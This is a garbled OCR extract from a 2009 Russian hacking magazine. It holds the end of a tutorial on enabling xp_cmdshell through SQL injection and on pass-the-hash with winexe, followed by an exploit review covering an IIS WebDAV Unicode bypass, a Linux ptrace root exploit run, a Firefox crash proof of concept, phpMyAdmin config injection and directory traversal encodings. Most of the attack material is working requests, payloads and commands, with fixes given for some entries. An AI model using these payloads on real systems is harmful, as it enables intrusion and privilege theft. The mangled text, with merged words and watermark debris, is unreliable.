доступкэтимпроцедурамудаленносиспользованиемсредствT-SQL. |
|
reconfigure |
|
|
|
|||||
1. Активируемрасширенныеопцииконфигурирования: |
|
|
|
|
|
|
|
|
||
|
Объединяемзапросы, разделяяихсимоволом‘;’, добавляемкомментарий |
|
||||||||
|
|
|
|
|
||||||
exec sp_configure 'show advanced options',1 |
|
|
ивнедряемчерезинъекцию! Теперьможнонаслаждатьсяпрактически |
|
||||||
2. Переконфиругируемсервер: |
|
неограниченнымдоступомксерверу. Нуачтоделатьдальше— зависит |
|
|||||||
|
толькооттвоейфантазии. |
|
|
|
||||||
|
|
|
|
P.S.ВSQL Server 2000 xp_cmdshell такжеможноактивировать, используя |
|
|||||
reconfigure |
|
|
|
процедуруsp_addextendedproc. |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
№8 ЗАДАЧА: УДАЛЕННОВЫПОЛНЯТЬ
КОМАНДЫ, ЗНАЯТОЛЬКОИМЯ УЧЕТНОЙЗАПИСИИLM/NTLM
ХЕШПОЛЬЗОВАТЕЛЯ
РЕШЕНИЕ:
Получив LM/NTLM хеши паролей пользователей, всегда возникает непреодолимое желание как-нибудь их поюзать :). В принципе, можно вооружиться SamInside и некоторым количеством времени
— и получить на выходе пароль пользователя (но в случае NT хеша может и не получиться). Однако есть шанс сделать все гораздо быстрее и проще. Дело в том, что у протоколов NTLMv1 и NTLMv2 от M$, которые до сих пор используются повсеместно, имеется одна особенность — для успешной аутентификации знать пароль необязательно. При аутентификации клиент использует величины, вычисленные с использованием хеша учетной записи, а также сессионного ключа, полученного от сервера (чистый хеш не передается во избежание его дальнейшего повторного использования в случае перехвата).
Длярешениязадачиможешьвоспользоватьсяпропатченнойверсиейwinexe — аналогомвиндовскойpsexec дляниксов(foofus.net/jmk/
passhash.html). ДляееработытребуетсябиблиотекаGNU TLS довольно древнейверсии1.3. Использоватьwinexe прощепростого— впеременнойокруженияSMBHASH долженнаходитьсяхешвформате«LM:NTLM», которыйподцепитсяавтоматомвпроцессеаутентификации. Еслиучетка находитсявдомене, междуименемдоменаиименемучеткинужнопоставить2 (!) обратныхслеша.
$ export SMBHASH="f0d412bd764ffe81aad3b435b51404ee:209c6174da 490caeb422f3fa5a7ae634"
$ ./winexe -U Admin \\192.168.0.1 "ipconfig"
Выполнениеipconfig иwhoami на удаленноймашине
В Винде для этих же целей можешь использовать PSH Toolkit
и msvctl. Однако PSH Toolkit у
меня запускаться отказалась
— ей нужна какая-то особенная версия библиотеки lsasrv. dll, которую мне достать не удалось, а msvctl наотрез отказалась аутентифицироваться в домене. z
XÀÊÅÐ 06 /126/ 09 |
041 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
взлом
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
обзор
эксплоитов
обзор
эксплоитов
обзор
эксплоитов
АНДРЕЙ «SKVOZ» КОМАРОВ
OBZORЕKSPLOITOV
Летняяпора— времяотдыха. Какбынитак, когдаречьидетобуязвимостях! Соревнованиямежду«злоумышленником» и«защитником» (применительнокнашемувремени– междухакеромивендором) продолжаются. Числобрешейнеизмериморастет. Ксожалению, всеосветитьникакнеполучается, поэтомувэтотразяподготовилнаобозрениенаиболееважные.
01ОБХОДОГРАНИЧЕНИЙ ВMICROSOFT IIS 6.0 WEBDAV
>> Brief
Изюминкаэтогоклассаатаквтом, чтовозможность«забрать» искомоес серверасуществуетабсолютнобезразличнопоотношениюкзащищен-
ностиресурса. WebDAV (Web-based Distributed Authoring and Versioning)
устанавливаетсявсвязкесIIS, традиционнымWEB-серверомдляплат- формлинейки«Windows Server». WebDAV расширяетHTTP следующими командами:
PROPFIND — получение свойств объекта на сервере в формате XML. Также можно получать структуру репозитория (дерево каталогов)
PROPPATCH — изменение свойств за одну транзакцию
MKCOL — создать коллекцию объектов (каталог в случае доступа к файлам)
COPY — копирование из одного URI в другой
MOVE — то же, что и предыдущая, только перемещение
LOCK — поставить блокировку на объекте. WebDAV поддерживает эксклюзивные и общие (shared) блокировки
UNLOCK — снять блокировку с ресурса
Всеэтикомандыявляютсядополнительнымиметодамивзаимодействия сWEB-сервером. Узнатьболееподробнообэтихиосновныхзапросах HTTP-протоколатыможешьизмоейдавнейстатьи(«Отпечаткипальцев http» — xakep.ru/magazine/xa/117/038/1.asp). Уязвимостьсостоитвтом,
чтоWEB-сервернекорректнообрабатываетURI сUnicode-содержанием.
>> Targets:
Microsoft IIS 6.0 WebDAV
>> Exploit
Предположим, унасестьдиректорияотносительнокорня«c:\inetpub\ wwwroot\secret\». Соответственно, «inetpub\wwwroot\» — то, чтосо-
здаетIIS подефолту. Внейлежитфайлsecret.zip, приэтомдиректория
недоступнаначтение«извне» илижезащищенапаролем. Обращение кфайлуотносительносамогохоста: secrethost.ru/secret/secret.zip. Для обходаограниченийпосылаемGET-запросвида:
GET / %c0%af/secret/secret.zip HTTP/1.1
Translate: f
Connection: close
Host: secrethost.ru
Видно, чтовURI мывставилисимвол«/» (%c0%af), которыйбудетудален изWebDav-запроса. ВтораястрокауказываетWEB-серверунато, что запросследуетобрабатыватьспомощьюсредствWebDav. Мыможем комбинироватьипослатьнечтовроде:
GET /sec%c0%afret/secret.zip HTTP/1.1
Translate: f
Connection: close
Host: secrethost.ru
Вотчетпридетсодержимоезащищенногообъекта, дажееслидиректория, вкоторойонрасполагался, былазащищенапаролем. Можноли сделатьчто-либоеще? СмотриописаниезапросаPROPFIND — сним можнополучитьструктурукакой-либопапки. Еслиучесть, что, используяUNICODE, мыможемобходитьвесомыеограничениябезопасности, – почемубынеприменитьэтодлялистингакаталоговнасервере? PROPFIND (msdn.microsoft.com/en-us/library/aa142960(EXCHG.65). aspx) илиBPROPFIND (msdn.microsoft.com/en-us/library/ aa142725(EXCHG.65).aspx) достаточноподробноописаны, поэтомуобо всехдополнительныхвключенияхтыбезтрудасможешьузнать. Примерполученияспискафайловвнутридиректорииsecret:
PROPFIND /sec%c0%afret/ HTTP/1.1
Host: secrethost.ru
User-Agent: Mozilla
Connection: TE
TE: trailers
Depth: 1
042 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
>>
обзор
эксплоитов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Content-Length: 288 Content-Type: application/xml
<?xml version=»1.0» encoding="utf-8"?> <propfind xmlns="DAV:"><prop> <getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/> <resourcetype xmlns="DAV:"/> <checked-in xmlns="DAV:"/> <checked-out xmlns="DAV:"/> </prop></propfind>
>> SOLUTION
Наданныймоментнебыловыпущеноофициальногоисправления уязвимости, поэтомуоднимизрешенийможетявлятьсяотключение WebDav. Дляэтогодобавьследующеезначение(Add value) поключу
«HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters»:
Value name: DisableWebDAV
Data type: DWORD
Value data: 1
Перезагрузи IIS и отключение вступит в силу. Для отключения протокола WebDAV можно также воспользоваться средством IIS Lockdown. За дополнительной информацией обратись к веб-уз-
лу корпорации Microsoft (microsoft.com/technet/security/tools/ locktool.mspx).
IIS lockdown tool — утилитаотMicrosoft, позволяющаялегкоибыстро переключитьвеб-сервер(IIS 4.0 или5.0) врежим, когдаработаюттолько тесервисы, которыехочетпредоставитьадминистраторсервера, авсе другиеотключены. Такойподходможетстатьвременнымустранением уязвимости.
02ЛОКАЛЬНОЕПОВЫШЕНИЕ ПРИВИЛЕГИЙВ GNU/LINUX KERNEL 2.6.29
>> Brief
Проблема вызвана функцией «ptrace_attach ()» [kernel/ptrace.c] и использованием «current->cred_exec_mutex» вместо «task->cred_ exec_mutex», – все это может позволить злонамеренным пользователям получать привилегии рута с помощью совместных «ptrace ()» и «exec ()» вызовов. Код уязвимой функции представлен ниже:
175 int ptrace_attach(struct task_struct *task)
176{
177int retval;
178unsigned long flags;
180 |
audit_ptrace(task); |
181 |
|
182retval = -EPERM;
183if (same_thread_group(task, current))
184goto out;
185
186/* Protect exec’s credential calculations
187against our interference; SUID, SGID and LSM
188creds get determined differently under ptrace */
189retval = mutex_lock_interruptible(
¤t->cred_exec_mutex);
190if (retval < 0)
191goto out;
193retval = -EPERM;
194repeat:
...
230bad:
231write_unlock_irqrestore(&tasklist_lock,
flags);
232task_unlock(task);
233mutex_unlock(¤t->cred_exec_mutex);
234out:
235return retval;
236}
На 189 и 233 строках ptrace_attach использует мьютекс текущего процесса для работы с «замком» и двумя процессами (текущим и тем, который передается в функцию в качестве аргумента). Из-за некорректного использования cred_exec_mutex текущего процесса вместо процесса, который должен быть отслежен, возникает ситуация «гонки» вовремя исполнения какого-либо процесса и неконтролируемого обращения к SUID.
>> Exploit milw0rm.com/exploits/8678
Практикаиспользования:
# id
*uid=1000(matthew) gid=1000(matthew) groups=4(adm), 20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44 (video),46(plugdev),107(fuse),109(lpadmin),115(admin), 1000(matthew)
# компилим сплойт
gcc exploit.c -o exploit
# uname -a
*Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux
# while `/bin/true/`;do ./exploit;done
*[... much scroll removed, go make coffee, get a job, do something while running ...]
*/dev/sda1 on / type ext3 (rw,relatime,errors=remountro)
*proc on /proc type proc (rw,noexec,nosuid,nodev)
*/sys on /sys type sysfs (rw,noexec,nosuid,nodev)
*varrun on /var/run type tmpfs (rw,noexec,nosuid,node v,mode=0755)
*varlock on /var/lock type tmpfs (rw,noexec,nosuid,no dev,mode=1777)
*udev on /dev type tmpfs (rw,mode=0755)
*devshm on /dev/shm type tmpfs (rw)
*devpts on /dev/pts type devpts (rw,gid=5,mode=620)
УЯЗВИМАЯФУНКЦИЯВРЕПОЗИТАРИЯХBUGZILLA
XÀÊÅÐ 06 /126/ 09 |
043 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
||||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
обзор |
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
w Click |
|
|
|
|
|
|
|||||
эксплоитов |
|
|
|
|
|
o |
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
ВСЕВЫНУЖДЕННЫЕКРЭШИБРАУЗЕРАЧЕТКООТСЛЕЖИВАЮТСЯИ АНАЛИЗИРУЮТСЯРАЗРАБОТЧИКАМИ
*securityfs on /sys/kernel/security type securityfs (rw)
*gvfs-fuse-daemon on /home/matthew/.gvfs type fuse. gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
*[ WIN! 18281
*[ Overwritten 0xb8097430
# id
*uid=0(root) gid=1000(matthew) groups=4(adm),20(dialo ut),24(cdrom),25(floppy),29(audio),30(dip),
*44(video),46(plugdev),107(fuse),109(lpadmin),115(ad
min),1000(matthew)
Итак, привилегиибылиуспешнозахвачены.
>>Targets:
•rPath rPath Linux 2
•rPath Appliance Platform Linux Service 2
•rPath Appliance Platform Linux Service 1
•Linux kernel 2.6.29
>>Solution
Чтобы победить уязвимость, воспользуйся патчем из GIT (git.kernel. org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=kernel/ptrace.c; h=0692ab5a0d672341000d1697d7c308c566060fb4;hp=dfcd83ceee3b24632 6cbec2a6eadb27abdba7823;hb=cad81bc2529ab8c62b6fdc83a1c0c7f4a872 09eb;hpb=ce8a7424d23a36f043d0de8484f888971c831119).
03MOZILLA FIREFOX
MEMORY CORRUPTION
>> Brief
БрешьобнаружилиMarc Gueury иDaniel Veditz, послечеготабылаофициальноопубликованавбазеCVE (CVE-2009-1313). Касаетсяонакрэша браузерапутемэксплуатации@nsTextFrame::ClearTextRun().
50 /* rendering object for textual content of elements */
...
3494 void
3495 nsTextFrame::ClearTextRun()
3496 {
3497 // save textrun because ClearAllTextRunReferences will clear ours
3498 gfxTextRun* textRun = mTextRun;
3499
3500 if (!textRun)
3501 return;
3502
3503 UnhookTextRunFromFrames(textRun);
ЗАПРЕТРАСШИРЕНИЙWEBDAV ЧАСТИЧНОСПАСАЕТОТПРОБЛЕМЫ
3504 |
// see comments in BuildTextRunForFrames... |
|
3505 |
// |
if (textRun->GetFlags() & gfxFontGroup::TEXT_ |
IS_PERSISTENT) { |
||
3506 |
// NS_ERROR("Shouldn’t reach here for now...»); |
|
3507 |
// // the textrun’s text may be referencing a DOM |
|
node that has changed, |
||
3508 |
// // so we’d better kill this textrun now. |
|
3509 |
// |
if (textRun->GetExpirationState()- |
>IsTracked()) { |
||
3510 |
// |
gTextRuns->RemoveFromCache(textRun); |
3511 |
// |
} |
3512 |
// |
delete textRun; |
3513 |
// |
return; |
3514 |
// |
} |
3515 |
|
|
3516 |
if (!(textRun->GetFlags() & |
|
|
gfxTextRunWordCache::TEXT_IN_CACHE)) { |
|
3517 |
|
// Remove it now because it’s not doing |
anything useful |
||
3518 |
|
gTextRuns->RemoveFromCache(textRun); |
3519 |
|
delete textRun; |
3520 |
} |
|
3521 |
} |
|
|
|
|
Приведеннаявышефункциявзятаизфайлаlayout/generic/ nsTextFrameThebes.cpp. Рассмотримподробнее, чтожеонаделает. СначалаустанавливаетуказательtextRun наmTextRun (3498). Далее проверяет, неравенлиtextrun NULL (3500). Снимаетхуксфреймаи проверяет, присутствуетлиtextrun вкэше. Еслида, тоудаляетегоиз кеша, азатемудаляетисамобъект. Закомментированныйучастоккода такжесодержитошибки. Ошибкавтом, чтоmTextRun можетсодержать некорректныефлагиотпредыдущихопераций, – этоприведеткнекорректномуудалению(3519). Из-заподобныхсоображенийразработчики Mozilla позднееввелиновуюдополнительнуюконстанту:
+// Set when this text frame is mentioned in the userdata for a textrun
+#define TEXT_IN_TEXTRUN_USER_DATA 0x40000000
>>Exploit
Кодэксплойтаприведенниже.
<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body>
<div id=»a» style=»white-space: pre;»> m</div>
<script> function doe() {
document.getElementById(‘a’).childNodes[0].
044 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
обзор |
эксплоитов |
эксплоитов |
эксплоитов |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
>> взломw Click |
|
BUY |
|
|
|||||||
to |
|
|
|
|
m |
||||||
обзор |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
эксплоитов |
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
КОМПОНЕНТARTFORMS СОБСТВЕННОЙПЕРСОНОЙ
|
|
|
|
|
1 <?php |
||
|
|
|
|
|
... |
||
|
|
|
|
|
10 class ConfigFile |
||
|
|
|
|
|
11 { |
|
|
|
|
|
|
|
12 |
/** |
|
|
|
|
|
|
13 |
* Stores default PMA config from config.default. |
|
|
|
|
|
|
php |
|
|
|
|
|
|
|
14 |
* @var array |
|
|
|
|
|
|
15 |
*/ |
|
|
|
|
|
|
16 |
private $cfg; |
|
|
|
|
|
|
... |
||
ЭКСПЕРТЫОЦЕНИВАЮТРИСКПОВЫШЕНИЯПРИВЕЛЕГИЙНАLINUX |
|
259 |
/** |
||||
КАКСРЕДНИЙ(ЖЕЛТЫЙЦВЕТ). НАСАМОМЖЕДЕЛЕМЫПОНИМАЕМ, |
|
260 |
* Creates config file |
||||
ЧТОЗАХВАТМАШИНЫДОСТАТОЧНООПАСНАЯВЕЩЬ, ДАЖЕНЕСМОТ- |
|
261 |
* |
||||
РЯНАТО, ЧТОТРЕБУЕТОПРЕДЕЛЕННЫХУСЛОВИЙ |
|
||||||
|
262 |
* @return string |
|||||
|
|
|
|
|
|||
|
|
|
|
|
263 |
*/ |
|
splitText(1); |
|
264 |
public function getConfigFile() |
||||
} |
|
|
|
|
265 |
{ |
|
setTimeout(doe, 100); |
|
266 |
$crlf = (isset($_SESSION['eol']) && $_ |
||||
</script> |
|
SESSION['eol'] == 'win') ? "\r\n" : "\n"; |
|||||
</body> |
|
267 |
$c = $_SESSION['ConfigFile']; |
||||
</html> |
|
268 |
|
||||
|
|
|
|
|
269 |
// header |
|
Послеисполненияуказанногокодапроисходитаварийноезавершение |
|||||||
|
270 |
$ret = '<?php' . $crlf |
|||||
работыбраузера. |
|
... |
|||||
|
|
|
|
|
279 |
// servers |
|
|
|
|
|
|
|
||
>> Targets |
|
|
|
280 |
if ($this->getServerCount() > 0) { |
||
Mozilla Firefox доверсии3.0.10 |
|
281 |
$ret .= "/* Servers configuration */$crlf\$i |
||||
|
|
|
|
|
= 0;" . $crlf . $crlf; |
||
|
|
|
|
|
|||
>> Solution |
|
|
282 |
foreach ($c['Servers'] as $id => $server) { |
|||
ВновыхверсияхFirefox уязвимостьсвоевременноустранена. |
|
283 |
$ret .= '/* Server: ' . $this- |
||||
|
|
|
|
|
>getServerName($id) . " [$id] */" . $crlf |
||
|
|
|
ВНЕДРЕНИЕ |
|
284 |
. '$i++;' . $crlf; |
|
04КОДАВPHPMYADMIN |
|
286 |
$ret .= "\$cfg['Servers'][\$i]['$k'] |
||||
|
|
|
|
|
285 |
foreach ($server as $k => $v) { |
|
|
|
|
|
||||
>> Brief |
: |
|
= « |
|
|||
Кто бы мог подумать, что во время установки Phpmyadmin мы |
|
287 |
. var_export($v, true) . ';' . $crlf; |
||||
можем произвести эксплуатацию кода! Рассмотрим внимательно |
|
288 |
} |
||||
сорец, использующийся установочным файлом для формирования |
|
289 |
$ret .= $crlf; |
||||
конфига: |
|
290 |
} |
||||
|
|
|
|
|
|
|
XÀÊÅÐ 06 /126/ 09 |
045 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
обзор |
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
m |
||
|
w Click |
|
|
|
|
|
|
||||
эксплоитов |
|
|
|
|
|
o |
|
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
ОГРОМНЫЙСПИСОКУЯЗВИМОСТЕЙJOMMLA, ЛЬВИНАЯДОЛЯКОТОРЫХСОДЕРЖИТСЯВКОМПОНЕНТАХ. ВСE ЭТОИМЕЕТНАСВОЕМБОРТУ JOOMSCAN ДЛЯПРОВЕРОК
291$ret .= '/* End of servers configuration */'
. $crlf . $crlf;
292}
Итак,функцияgetConfigFile()возвращаетвсякогородаинформацию. Здесьсоставляетсяконфигурационныйфайл,и$retинклудитPHPкод.На281строкемывидимкомментарий,азатемещеодин(/*Server:
<getServerName()>«id»*/).Обративнимание:выходиттак,что$idполностью контролируетсяпользователемсразу,кактолькопеременнаябылаполучена изсессии(267).Скажем,еслипользовательпередастееустановленнойв виде«bleh*/<?phpechodate();?>/*»,тотемсамымонзавершитконфигу-
рационныйфайлстрокой«/*Server:<getServerName()>bleh*/<?phpecho date();?>/**/».
>> Targets
phpMyAdmin 3.x (до3.1.3.2.)
>> Solution
Требуетсяограничитьпередаваемыеданныеспомощьюpreg_replace():
foreach ($c['Servers'] as $id => $server) {
+ $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
$ret .= '/* Server: ' . $this->getServerName($id) . " [$id] */" . $crlf
Иприменитьофициальновышедшиеобновления:
УСПЕШНЫЙОБХОДИПРОВЕДЕНИЕАТАКИ«DIRECTORY TRAVERSAL»
• phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revis ion=12342.
• phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revis ion=12348.
05 РАСКРЫТИЕПУТЕЙ ВZERVIT WEBSERVER 4.0
>> Brief:
Классификацияподобнойатаки— Directory Traversal. ВлитературеисовременныхсистемахклассификациивекторатакиназываютPath Traversal. Самыйбольшойриск, которыйонавлечетзасобой, скрываетсянетолько влистингедиректорий, ноивобходеACL-листов. Этатехникаатак направленанаполучениедоступакфайлам, директориямикомандам, находящимсявнеосновнойдиректорииWeb-сервера. Злоумышленник можетманипулироватьпараметрамиURL сцельюполучениядоступа
кфайламиливыполнитькоманды, располагаемыевфайловойсистеме Web-сервера. Дляподобныхатакпотенциальноуязвимолюбоеустройство, имеющееWeb-интерфейс. МногиеWeb-серверыограничиваютдоступ пользователяопределеннойчастьюфайловойсистемы, обычноназываемой«web document root» или«CGI root». Этидиректориисодержатфайлы, предназначенныедляпользователя, ипрограммы, необходимыедля получениядоступакфункциямWeb-приложения. Большинствобазовых атак, эксплуатирующихобратныйпуть, основанынавнедрениивURL символов«../» – длятого, чтобыизменитьрасположениересурса, который будетобрабатыватьсясервером. ПосколькубольшинствоWeb-серверов фильтруютэтупоследовательность, злоумышленникможетвоспользоватьсяальтернативнымикодировками, например, Unicode («..%u2216» или«..%c0%af»). Другиепопулярныеприемы– использованиеобратного слеша(«..\») вWindows-серверах, символовURLEncode («%2e%2e%2f») илидвойнаякодировкаURLEncode («..%255c»).
ДажееслиWeb-серверограничиваетдоступкфайламопределенным каталогом, этауязвимостьможетвозникатьвсценарияхилиCGI-про- граммах. Возможностьиспользованияобратногопутивкаталогах довольночастовозникаетвприложениях, использующихмеханизмы шаблоновилизагружающихтекстстраницизфайловнасервере. Вэтом вариантеатакизлоумышленникмодифицируетимяфайла, передавае- моевкачествепараметраCGI-программыилисерверногосценария. В результатеонможетполучитьисходныйкодсценариев. Нередкокимени запрашиваемогофайладобавляютсяспециальныесимволы, такиекак «%00», сцельюобходафильтров. Бывает, чтоприэксплуатациитакого родауязвимостейвответнаихпопулярностьприменяютсяIDS-систе- мы, которыеурезаютзапросыс«хождением» покаталогам(«/../../../») вариационнойглубины. Требуетсяпомнить, чтокроместандартного символамыможемиспользовать, кпримеру, «..\..\», «../..\../..\», атакже разновидностикодированногосодержимого.
ТИПИЧНЫЙОТВЕТWEB-СЕРВЕРАПОСЛЕИСПОЛНЕНИЯPROPFIND
|
|
